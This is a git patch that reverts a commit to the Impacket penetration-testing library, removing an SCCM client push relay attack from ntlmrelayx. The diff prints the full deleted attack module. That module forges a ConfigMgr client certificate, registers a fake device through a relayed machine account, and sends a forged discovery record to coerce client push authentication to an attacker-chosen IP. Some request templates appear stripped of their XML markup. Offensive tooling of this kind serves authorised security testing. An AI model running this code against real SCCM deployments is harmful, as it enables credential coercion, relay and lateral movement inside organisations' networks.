From d579675c550dd50c560551cb83a68d936bdf3d9a Mon Sep 17 00:00:00 2001 From: Charlie Bromberg <40902872+ShutdownRepo@users.noreply.github.com> Date: Tue, 20 Jan 2026 11:24:38 +0100 Subject: [PATCH] =?UTF-8?q?Revert=20"Add=20SCCM=20Client=20Push=20Installa?= =?UTF-8?q?tion=20via=20cross=E2=80=91protocol=20relay=20(SCCM)"?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- examples/ntlmrelayx.py | 30 +- .../examples/ntlmrelayx/attacks/httpattack.py | 7 +- .../httpattacks/sccmclientpushattack.py | 300 ------------------ impacket/examples/ntlmrelayx/utils/config.py | 14 - 4 files changed, 4 insertions(+), 347 deletions(-) delete mode 100644 impacket/examples/ntlmrelayx/attacks/httpattacks/sccmclientpushattack.py diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index 64dff54f4..f1f8ce92c 100644 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -217,9 +217,7 @@ def start_servers(options, threads): c.setIsSCCMDPAttack(options.sccm_dp) c.setSCCMPoliciesOptions(options.sccm_policies_clientname, options.sccm_policies_sleep) c.setSCCMDPOptions(options.sccm_dp_extensions, options.sccm_dp_files) - c.setIsSCCMClientPushAttack(options.sccm_clientpush) - c.setSCCMClientPushOptions(options.sccm_clientpush_devicename, options.sccm_clientpush_site, options.sccm_clientpush_ip, options.sccm_clientpush_sleep) - + c.setAltName(options.altname) #If the redirect option is set, configure the HTTP server to redirect targets to SMB @@ -428,20 +426,11 @@ def stop_servers(threads): sccmpoliciesoptions.add_argument('--sccm-policies-clientname', action='store', required=False, help='The name of the client that will be registered in order to dump secret policies. Defaults to the relayed account\'s name') sccmpoliciesoptions.add_argument('--sccm-policies-sleep', action='store', required=False, help='The number of seconds to sleep after the client registration before requesting secret policies') - # SCCM distributions point options sccmdpoptions = parser.add_argument_group("SCCM Distribution Point attack options") sccmdpoptions.add_argument('--sccm-dp', action='store_true', required=False, help='Enable SCCM Distribution Point attack. Perform package file dump from an SCCM Distribution Point. Expects as target \'http:///sms_dp_smspkg$/Datalib\'') sccmdpoptions.add_argument('--sccm-dp-extensions', action='store', required=False, help='A custom list of extensions to look for when downloading files from the SCCM Distribution Point. If not provided, defaults to .ps1,.bat,.xml,.txt,.pfx') sccmdpoptions.add_argument('--sccm-dp-files', action='store', required=False, help='The path to a file containing a list of specific URLs to download from the Distribution Point, instead of downloading by extensions. Providing this argument will skip file indexing') - # SCCM client push options - sccmclientpushoptions = parser.add_argument_group("SCCM Client Push attack options") - sccmclientpushoptions.add_argument('--sccm-clientpush', action='store_true', required=False, help='Enable SCCM Client Push attack. Invokes SCCM client push by registering a fake device. Only works when relaying a machine account. Expects as target \'http:///ccm_system_windowsauth/request\'') - sccmclientpushoptions.add_argument('--sccm-clientpush-devicename', action='store', required=False, help='The name of the fake client that will be registered in order to invoke automatic site-wide client push installation.') - sccmclientpushoptions.add_argument('--sccm-clientpush-site', action='store', required=False, help='The target site to include in the SCCM Client Push DDR request.') - sccmclientpushoptions.add_argument('--sccm-clientpush-ip', action='store', required=False, help='The IP address the Client Push Installation should connect to.') - sccmclientpushoptions.add_argument('--sccm-clientpush-sleep', action='store', default=3, type=int, required=False, help='The number of seconds to sleep after the client registration before sending the DDR request') - try: options = parser.parse_args() except Exception as e: @@ -464,21 +453,6 @@ def stop_servers(threads): logging.error(f"For instance: {urlparse(options.target).scheme}://{urlparse(options.target).netloc}/sms_dp_smspkg$/Datalib") sys.exit(1) - # Ensuring the correct parameters are set when performing SCCM Client Push attack - if options.sccm_clientpush is True and not options.target.rstrip('/').endswith("/ccm_system_windowsauth/request"): - logging.error("When performing SCCM Client Push attack, the Management Point authenticated device registration endpoint should be provided as target") - logging.error(f"For instance: {urlparse(options.target).scheme}://{urlparse(options.target).netloc}/ccm_system_windowsauth/request") - sys.exit(1) - elif options.sccm_clientpush_devicename == None: - logging.error(f"Error please specify a name for the device to be registered.") - sys.exit(1) - elif options.sccm_clientpush_site == None: - logging.error(f"Error please specify a valid SCCM site.") - sys.exit(1) - elif options.sccm_clientpush_ip == None: - logging.error(f"Error please specify an IP address to which Client Push Installation should be invoked to.") - sys.exit(1) - # Init the example's logger theme logger.init(options.ts, options.debug) @@ -592,4 +566,4 @@ def stop_servers(threads): for s in threads: del s - sys.exit(0) \ No newline at end of file + sys.exit(0) diff --git a/impacket/examples/ntlmrelayx/attacks/httpattack.py b/impacket/examples/ntlmrelayx/attacks/httpattack.py index 6480dc31d..7e29a3fdc 100644 --- a/impacket/examples/ntlmrelayx/attacks/httpattack.py +++ b/impacket/examples/ntlmrelayx/attacks/httpattack.py @@ -21,14 +21,13 @@ from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmpoliciesattack import SCCMPoliciesAttack from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmdpattack import SCCMDPAttack -from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmclientpushattack import SCCMClientPushAttack PROTOCOL_ATTACK_CLASS = "HTTPAttack" -class HTTPAttack(ProtocolAttack, ADCSAttack, SCCMPoliciesAttack, SCCMDPAttack, SCCMClientPushAttack): +class HTTPAttack(ProtocolAttack, ADCSAttack, SCCMPoliciesAttack, SCCMDPAttack): """ This is the default HTTP attack. This attack only dumps the root page, though you can add any complex attack below. self.client is an instance of urrlib.session @@ -45,8 +44,6 @@ def run(self): SCCMPoliciesAttack._run(self) elif self.config.isSCCMDPAttack: SCCMDPAttack._run(self) - elif self.config.isSCCMClientPushAttack: - SCCMClientPushAttack._run(self) else: # Default action: Dump requested page to file, named username-targetname.html # You can also request any page on the server via self.client.session, @@ -56,4 +53,4 @@ def run(self): r1 = self.client.getresponse() print(r1.status, r1.reason) data1 = r1.read() - print(data1) \ No newline at end of file + print(data1) diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmclientpushattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmclientpushattack.py deleted file mode 100644 index 566fd1ada..000000000 --- a/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmclientpushattack.py +++ /dev/null @@ -1,300 +0,0 @@ -# Impacket - Collection of Python classes for working with network protocols. -# -# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. -# -# This software is provided under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# Description: -# SCCM relay attack to invoke client push authentication -# -# Authors: -# Jarno van den Brink (@vonzy) -# Huge thanks to MrFrey for writing the DDR requests in sccmhunter - -import os -import zlib -import xml.etree.ElementTree as ET - -from time import sleep -from datetime import datetime, timedelta -from impacket import LOG -from cryptography import x509 -from cryptography.x509.oid import NameOID -from cryptography.x509 import ObjectIdentifier -from cryptography.hazmat.primitives import serialization, hashes, padding -from cryptography.hazmat.primitives.asymmetric import rsa -from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15, OAEP, MGF1 - -# Request templates -REGISTRATION_REQUEST_TEMPLATE = """ - -{encryption}{signature} - - - - -""" -REGISTRATION_REQUEST_WRAPPER_TEMPLATE = "{data}{signature}\x00" -SCCM_HEADER_TEMPLATE = """{{00000000-0000-0000-0000-000000000000}}{{5DD100CD-DF1D-45F5-BA17-A327F43465F8}}0httpSyncdirect:{client}:SccmMessaging{date}{client}mp:MP_ClientRegistrationMP_ClientRegistration{sccmserver}60000""" -POLICY_REQUEST_HEADER_TEMPLATE = """{{00000000-0000-0000-0000-000000000000}}{client}{publickey}{clientIDsignature}{payloadsignature}NonSSL1.2.840.113549.1.1.11{{041A35B4-DCEE-4F64-A978-D4D489F47D28}}0httpSyncdirect:{client}:SccmMessaging{date}GUID:{clientid}{client}mp:MP_PolicyManagerMP_PolicyManager{sccmserver}60000""" -POLICY_REQUEST_TEMPLATE = """GUID:{clientid}{clientfqdn}{client}SMS:PRI""" -REPORT_BODY = """01GUID:{clientid}5.00.8325.0000{client}8502057Inventory DataFull{date}1.01.1{{00000000-0000-0000-0000-000000000003}}Discovery{date}""" - -DDR_REQUEST_HEADER_TEMPLATE = """{{00000000-0000-0000-0000-000000000000}}{client}{publickey}{clientIDsignature}{payloadsignature}NonSSL1.2.840.113549.1.1.11{{CA6A20DC-2440-44B1-A78F-E2FE792973BA}}0httpASyncdirect:{client}:SccmMessaging{date}GUID:{clientid}{client}mp:MP_DdrEndpointMP_DdrEndpoint{sccmserver}60000""" -DDR_BODY_1 ="""01GUID:{clientid}5.00.8325.0000{client}4371033Inventory DataFull{date1}1.01.1{{00000000-0000-0000-0000-000000000003}}Discovery{date2}""" -DDR_BODY_2 = """01GUID:{clientid}5.00.8325.0000{client}4371033Inventory DataFull{date1}1.01.1{{00000000-0000-0000-0000-000000000003}}Discovery{date2}{domain}{date3}5.00.8325.0000UnknownDefault-First-Site-Name{clientfqdn}VMware-56 4d 98 6b b1 fc ca 51-3c 19 b5 6e 8a 12 0b e2VMware Virtual Platform{clientid}NoneMicrosoft Windows NT Workstation 2010.010.6.10.0254.128.0.010.6.10.43fe80::d89c:e797:5954:7db11BC:25:11:8B:02:CF""" - -### Cryptography utility functions ### -def create_certificate(privatekey): - subject = issuer = x509.Name([ - x509.NameAttribute(NameOID.COMMON_NAME, "ConfigMgr Client"), - ]) - cert = x509.CertificateBuilder().subject_name( - subject - ).issuer_name( - issuer - ).public_key( - privatekey.public_key() - ).serial_number( - x509.random_serial_number() - ).not_valid_before( - datetime.utcnow() - timedelta(days=2) - ).not_valid_after( - datetime.utcnow() + timedelta(days=365) - ).add_extension( - x509.KeyUsage(digital_signature=True, key_encipherment=False, key_cert_sign=False, - key_agreement=False, content_commitment=False, data_encipherment=True, - crl_sign=False, encipher_only=False, decipher_only=False), - critical=False, - ).add_extension( - x509.ExtendedKeyUsage([ObjectIdentifier("1.3.6.1.4.1.311.101.2"), ObjectIdentifier("1.3.6.1.4.1.311.101")]), - critical=False, - ).sign(privatekey, hashes.SHA256()) - - return cert - -def create_private_key(): - privatekey = rsa.generate_private_key(public_exponent=65537, key_size=2048) - return privatekey - -def SCCM_sign(private_key, data): - signature = private_key.sign(data, PKCS1v15(), hashes.SHA256()) - signature_rev = bytearray(signature) - signature_rev.reverse() - return bytes(signature_rev) - - -def build_MS_public_key_blob(private_key): - blobHeader = b"\x06\x02\x00\x00\x00\xA4\x00\x00\x52\x53\x41\x31\x00\x08\x00\x00\x01\x00\x01\x00" - blob = blobHeader + private_key.public_key().public_numbers().n.to_bytes(int(private_key.key_size / 8), byteorder="little") - return blob.hex().upper() - - -### Various utility functions ### -def encode_UTF16_strip_BOM(data): - return data.encode('utf-16')[2:] - -def clean_junk_in_XML(xml_string): - root_end = xml_string.rfind('', root_end) + 1 - clean_xml_string = xml_string[:root_end] - return clean_xml_string - return xml_string - -### Client registration utility functions ### -def generate_registration_request_payload(management_point, public_key, private_key, client_name): - registrationRequest = REGISTRATION_REQUEST_TEMPLATE.format( - date=datetime.now().strftime("%Y-%m-%dT%H:%M:%SZ"), - encryption=public_key, - signature=public_key, - client=client_name, - clientfqdn=client_name - ) - - signature = SCCM_sign(private_key, encode_UTF16_strip_BOM(registrationRequest)).hex().upper() - registrationRequestWrapper = REGISTRATION_REQUEST_WRAPPER_TEMPLATE.format( - data=registrationRequest, - signature=signature - ) - registrationRequestWrapper = encode_UTF16_strip_BOM(registrationRequestWrapper) + "\r\n".encode('ascii') - - registrationRequestHeader = SCCM_HEADER_TEMPLATE.format( - bodylength=len(registrationRequestWrapper)-2, - client=client_name, - date=datetime.now().strftime("%Y-%m-%dT%H:%M:%SZ"), - sccmserver=management_point - ) - - final_body = "--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n".encode('ascii') - final_body += registrationRequestHeader.encode('utf-16') + "\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n".encode('ascii') - final_body += zlib.compress(registrationRequestWrapper) + "\r\n--aAbBcCdDv1234567890VxXyYzZ--".encode('ascii') - - return final_body - -def generate_ddr_request_payload(management_point, public_key, private_key, client_name, guid, domain_name, ip): - ddrRequest1 = encode_UTF16_strip_BOM(DDR_BODY_1.format( - clientid=guid, - clientfqdn=client_name, - client=client_name, - date1=datetime.now().strftime("%Y%m%d%H%M%S.575000+120"), - date2=datetime.now().strftime("%Y%m%d%H%M%S.590000+000"), - domain=domain_name, - )) + b"\x00\x00\r\n" - ddrRequest2 = encode_UTF16_strip_BOM(DDR_BODY_2.format( - clientid=guid, - clientfqdn=ip, - client=client_name, - date1=datetime.now().strftime("%Y%m%d%H%M%S.575000+120"), - date2=datetime.now().strftime("%Y%m%d%H%M%S.590000+000"), - date3= datetime.now().strftime("%m/%d/%Y %H:%M:%S"), - domain=domain_name - )) + b"\x00\x00\r\n" - - DDRRequestCompressed = zlib.compress(ddrRequest1+ddrRequest2) - clientID = f"GUID:{guid.upper()}" - clientIDsignature = SCCM_sign(private_key, encode_UTF16_strip_BOM(clientID) + "\x00\x00".encode('ascii')).hex().upper() - DDRRequestSignature = SCCM_sign(private_key, DDRRequestCompressed).hex().upper() - - ddrRequestHeader = DDR_REQUEST_HEADER_TEMPLATE.format( - bodylength=len(ddrRequest2)-2, - bodyoffset=len(ddrRequest1), - length1=len(ddrRequest1)-4, - length2=len(ddrRequest2)-4, - offset=len(ddrRequest1), - sccmserver=management_point, - client=client_name, - publickey=public_key, - clientIDsignature=clientIDsignature, - payloadsignature=DDRRequestSignature, - clientid=guid, - date=datetime.now().strftime("%Y-%m-%dT%H:%M:%SZ") - ) - - final_body = "--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n".encode('ascii') - final_body += ddrRequestHeader.encode('utf-16') + "\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n".encode('ascii') - final_body += DDRRequestCompressed + "\r\n--aAbBcCdDv1234567890VxXyYzZ--".encode('ascii') - - return final_body - -class SCCMClientPushAttack: - - def _run(self): - - management_point = f"{'https' if self.client.port == 443 else 'http'}://{self.client.host}" - - LOG.info("Starting SCCM Client Push attack") - loot_dir = f"{self.client.host}_{datetime.now().strftime('%Y%m%d%H%M%S')}" - - try: - os.makedirs(loot_dir, exist_ok=True) - LOG.info(f"Temporary directory is: {loot_dir}") - except Exception as err: - LOG.error(f"Error creating base output directory: {err}") - return - - os.makedirs(f"{loot_dir}/device") - LOG.info(f"Reusable Base64-encoded certificate:\n") - private_key = create_private_key() - certificate = create_certificate(private_key) - public_key = certificate.public_bytes(serialization.Encoding.DER).hex().upper() - LOG.info(public_key + "\n") - - # Writing certs to device info directory for potential future use - with open(f"{loot_dir}/device/cert.pem", 'wb') as f: - f.write(certificate.public_bytes(serialization.Encoding.PEM)) - with open(f"{loot_dir}/device/key.pem", 'wb') as f: - f.write(private_key.private_bytes(encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.TraditionalOpenSSL, encryption_algorithm=serialization.NoEncryption())) - - # Device registration - LOG.info(f"Registering SCCM client with client name '{self.config.SCCMClientPushDeviceName}'") - registration_request_payload = generate_registration_request_payload(management_point, public_key, private_key, self.config.SCCMClientPushDeviceName) - - try: - register_response = self.register_client(management_point, registration_request_payload) - if register_response == None: - LOG.error(f"Device registration failed") - return - root = ET.fromstring(register_response[:-1]) - client_guid = root.attrib["SMSID"].split("GUID:")[1] - except Exception as e: - LOG.error(f"Device registration failed: {e}") - return - - with open(f"{loot_dir}/device/guid.txt", 'w') as f: - f.write(f"{client_guid}\n") - with open(f"{loot_dir}/device/client_name.txt", 'w') as f: - f.write(f"{self.config.SCCMClientPushDeviceName}\n") - - LOG.info(f"Succesfully registered device with GUID: {client_guid}") - LOG.info(f"Waiting {self.config.SCCMClientPushSleep} seconds before sending DDR request.") - sleep(int(self.config.SCCMClientPushSleep)) - - # DDR request - LOG.info(f"Sending DDR request to invoke client push.") - LOG.info(f"Ensure to be on the same time zone as the SCCM server.") - ddr_request_payload = generate_ddr_request_payload(management_point, public_key, private_key, self.config.SCCMClientPushDeviceName, client_guid, self.config.SCCMClientPushSite, self.config.SCCMClientPushIP) - - try: - ddr_response = self.send_ddr(management_point, ddr_request_payload) - except Exception as e: - LOG.error(f"DDR request failed: {e}") - return - LOG.info("DONE - attack finished. Successfully sent DDR request") - LOG.info(f"Invoking Client Push Installation to '{self.config.SCCMClientPushIP}'") - - - - def register_client(self, management_point, registration_request_payload): - headers = { - "Connection": "close", - "User-Agent": "ConfigMgr Messaging HTTP Sender", - "Content-Type": "multipart/mixed; boundary=\"aAbBcCdDv1234567890VxXyYzZ\"" - } - - self.client.request("CCM_POST", f"{management_point}/ccm_system_windowsauth/request", registration_request_payload, headers=headers) - body = self.client.getresponse().read() - - - boundary = "aAbBcCdDv1234567890VxXyYzZ" - multipart_data = body.split(('--' + boundary).encode()) - for part in multipart_data: - if not part or part == b'--\r\n': - continue - try: - headers_part, content = part.split(b'\r\n\r\n', 1) - except: - pass - - if b'application/octet-stream' in headers_part: - decompressed_content = zlib.decompress(content).decode('utf-16') - return decompressed_content - return None - - def send_ddr(self, management_point, ddr_request_payload): - headers = { - "Connection": "close", - "User-Agent": "ConfigMgr Messaging HTTP Sender", - "Content-Type": "multipart/mixed; boundary=\"aAbBcCdDv1234567890VxXyYzZ\"" - } - - self.client.request("CCM_POST", f"{management_point}/ccm_system/request", ddr_request_payload, headers=headers) - body = self.client.getresponse().read() - - boundary = "aAbBcCdDv1234567890VxXyYzZ" - multipart_data = body.split(('--' + boundary).encode()) - for part in multipart_data: - if not part or part == b'--\r\n': - continue - try: - headers_part, content = part.split(b'\r\n\r\n', 1) - except: - pass - - if b'application/octet-stream' in headers_part: - decompressed_content = zlib.decompress(content).decode('utf-16') - return decompressed_content - - return None \ No newline at end of file diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index 0ede66533..4b8ec6b3c 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -112,11 +112,6 @@ def __init__(self): self.isSCCMDPAttack = False self.SCCMDPExtensions = None self.SCCMDPFiles = None - self.isSCCMClientPushAttack = False - self.SCCMClientPushDeviceName = None - self.SCCMClientPushSite = None - self.SCCMClientPushIP = None - self.SCCMClientPushSleep = None def setSMBChallenge(self, value): self.SMBServerChallenge = value @@ -280,15 +275,6 @@ def setSCCMDPOptions(self, sccm_dp_extensions, sccm_dp_files): self.SCCMDPExtensions = sccm_dp_extensions self.SCCMDPFiles = sccm_dp_files - def setIsSCCMClientPushAttack(self, isSCCMClientPushAttack): - self.isSCCMClientPushAttack = isSCCMClientPushAttack - - def setSCCMClientPushOptions(self, sccm_clientpush_devicename, sccm_clientpush_site, sccm_clientpush_ip, sccm_clientpush_sleep): - self.SCCMClientPushDeviceName = sccm_clientpush_devicename - self.SCCMClientPushSite = sccm_clientpush_site - self.SCCMClientPushIP = sccm_clientpush_ip - self.SCCMClientPushSleep = sccm_clientpush_sleep - def setAltName(self, altName): self.altName = altName